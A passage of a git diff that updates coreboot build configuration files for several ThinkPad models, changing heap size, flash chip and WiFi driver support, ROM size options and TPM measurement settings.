CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -260,6 +260,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -275,9 +276,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -326,8 +327,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -443,8 +444,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -475,6 +474,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -513,6 +513,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -547,6 +548,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -578,6 +580,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -640,6 +643,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 230d81067..da7abd5be 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -209,7 +209,6 @@ CONFIG_PCIEXP_CLK_PM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -225,6 +224,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -255,6 +255,7 @@ CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xe8000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -274,9 +275,9 @@ CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_DISABLE_ME_PCI=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -364,6 +365,7 @@ CONFIG_H8_FLASH_LEDS_ON_DEATH=y # CONFIG_H8_FN_CTRL_SWAP is not set CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y CONFIG_H8_HAS_PRIMARY_FN_KEYS=y +CONFIG_H8_HAS_LEDLOGO=y CONFIG_EC_LENOVO_PMH7=y # @@ -434,8 +436,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -466,6 +466,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -502,6 +503,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -536,6 +538,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -568,6 +571,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -630,6 +634,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 00e5216a8..491a0e9b7 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -210,7 +210,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -226,6 +225,7 @@ CONFIG_COREBOOT_ROMSIZE_KB_8192=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=8192 @@ -257,6 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -272,9 +273,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -323,8 +324,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -440,8 +441,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -472,6 +471,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -509,6 +509,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -543,6 +544,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -574,6 +576,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -636,6 +639,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 8eec86714..0217e043a 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -208,7 +208,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="" @@ -224,6 +223,7 @@ CONFIG_COREBOOT_ROMSIZE_KB_4096=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=4096 @@ -255,6 +255,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -270,9 +271,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -321,8 +322,8 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -427,8 +428,6 @@ CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -459,6 +458,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -495,6 +495,8 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -529,6 +531,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -557,6 +560,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -619,6 +623,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 82c815eb0..cd5023c73 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -208,7 +208,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -224,6 +223,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -255,6 +255,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -270,9 +271,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -321,8 +322,8 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -427,8 +428,6 @@ CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -459,6 +458,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -495,6 +495,8 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -529,6 +531,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -558,6 +561,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -620,6 +624,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 708f7f22c..b468d8013 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -211,7 +211,6 @@ CONFIG_PCIEXP_ASPM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -227,6 +226,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -258,6 +258,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -273,9 +274,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -324,8 +325,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -441,8 +442,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -473,6 +472,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -508,6 +508,8 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -542,6 +544,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -573,6 +576,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -635,6 +639,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index d62a078de..6a69efc11 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -210,7 +210,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -226,6 +225,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -257,6 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -272,9 +273,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 